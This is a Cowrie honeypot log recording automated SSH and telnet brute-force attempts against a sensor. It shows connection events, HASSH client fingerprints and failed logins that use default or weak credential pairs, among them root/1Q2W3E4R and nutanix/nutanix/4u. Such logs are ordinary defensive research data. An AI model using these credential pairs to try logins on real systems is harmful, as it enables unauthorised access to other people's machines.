{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:03.010092Z","src_ip":"172.237.20.62","session":"9ddf03bcb332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48440,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf3a4fc64fa2","protocol":"ssh","message":"New connection: 172.237.20.62:48440 (159.203.135.109:22) [session: cf3a4fc64fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:12.717033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:12.723737Z","src_ip":"172.237.20.62","session":"cf3a4fc64fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:12.889358Z","src_ip":"172.237.20.62","session":"cf3a4fc64fa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:13.420334Z","src_ip":"172.237.20.62","session":"cf3a4fc64fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:14.583707Z","src_ip":"172.237.20.62","session":"cf3a4fc64fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56114,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e6d85f06da2","protocol":"ssh","message":"New connection: 172.237.20.62:56114 (159.203.135.109:22) [session: 4e6d85f06da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:23.674453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:23.691228Z","src_ip":"172.237.20.62","session":"4e6d85f06da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:23.839617Z","src_ip":"172.237.20.62","session":"4e6d85f06da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:24.685334Z","src_ip":"172.237.20.62","session":"4e6d85f06da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:25.851472Z","src_ip":"172.237.20.62","session":"4e6d85f06da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33334,"dst_ip":"10.17.0.5","dst_port":22,"session":"842f8df203f2","protocol":"ssh","message":"New connection: 80.94.92.184:33334 (10.17.0.5:22) [session: 842f8df203f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:26.596509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:26.716465Z","src_ip":"80.94.92.184","session":"842f8df203f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:26.825539Z","src_ip":"80.94.92.184","session":"842f8df203f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:27.753124Z","src_ip":"80.94.92.184","session":"842f8df203f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:29.039575Z","src_ip":"80.94.92.184","session":"842f8df203f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":60512,"dst_ip":"159.203.135.109","dst_port":22,"session":"82c33ede93f8","protocol":"ssh","message":"New connection: 172.237.20.62:60512 (159.203.135.109:22) [session: 82c33ede93f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:34.680629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:34.698480Z","src_ip":"172.237.20.62","session":"82c33ede93f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:34.843852Z","src_ip":"172.237.20.62","session":"82c33ede93f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:35.477043Z","src_ip":"172.237.20.62","session":"82c33ede93f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:36.706952Z","src_ip":"172.237.20.62","session":"82c33ede93f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52604,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1e5b1563a66","protocol":"ssh","message":"New connection: 172.237.20.62:52604 (159.203.135.109:22) [session: d1e5b1563a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:45.591728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:45.597205Z","src_ip":"172.237.20.62","session":"d1e5b1563a66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:45.762223Z","src_ip":"172.237.20.62","session":"d1e5b1563a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:46.254932Z","src_ip":"172.237.20.62","session":"d1e5b1563a66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:47.446333Z","src_ip":"172.237.20.62","session":"d1e5b1563a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51638,"dst_ip":"159.203.135.109","dst_port":22,"session":"d052dd068be2","protocol":"ssh","message":"New connection: 172.237.20.62:51638 (159.203.135.109:22) [session: d052dd068be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:56.412759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:56.455969Z","src_ip":"172.237.20.62","session":"d052dd068be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:56.575541Z","src_ip":"172.237.20.62","session":"d052dd068be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:57.211586Z","src_ip":"172.237.20.62","session":"d052dd068be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:58.374931Z","src_ip":"172.237.20.62","session":"d052dd068be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59870,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea551cd8d152","protocol":"ssh","message":"New connection: 172.237.20.62:59870 (159.203.135.109:22) [session: ea551cd8d152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:07.318735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:07.323421Z","src_ip":"172.237.20.62","session":"ea551cd8d152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:07.485080Z","src_ip":"172.237.20.62","session":"ea551cd8d152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:08.005369Z","src_ip":"172.237.20.62","session":"ea551cd8d152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:09.168952Z","src_ip":"172.237.20.62","session":"ea551cd8d152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47960,"dst_ip":"159.203.135.109","dst_port":22,"session":"4699a021e028","protocol":"ssh","message":"New connection: 172.237.20.62:47960 (159.203.135.109:22) [session: 4699a021e028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:18.453890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:18.458525Z","src_ip":"172.237.20.62","session":"4699a021e028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:18.618501Z","src_ip":"172.237.20.62","session":"4699a021e028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.229.144.191","src_port":49674,"dst_ip":"159.203.135.109","dst_port":23,"session":"907404e20f15","protocol":"telnet","message":"New connection: 125.229.144.191:49674 (159.203.135.109:23) [session: 907404e20f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:18.904569Z"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:19.167877Z","src_ip":"172.237.20.62","session":"4699a021e028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:20.330363Z","src_ip":"172.237.20.62","session":"4699a021e028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49410,"dst_ip":"159.203.135.109","dst_port":22,"session":"de5c98248613","protocol":"ssh","message":"New connection: 172.237.20.62:49410 (159.203.135.109:22) [session: de5c98248613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:29.395687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:16:29.403974Z","src_ip":"172.237.20.62","session":"de5c98248613","protocol":"ssh"}
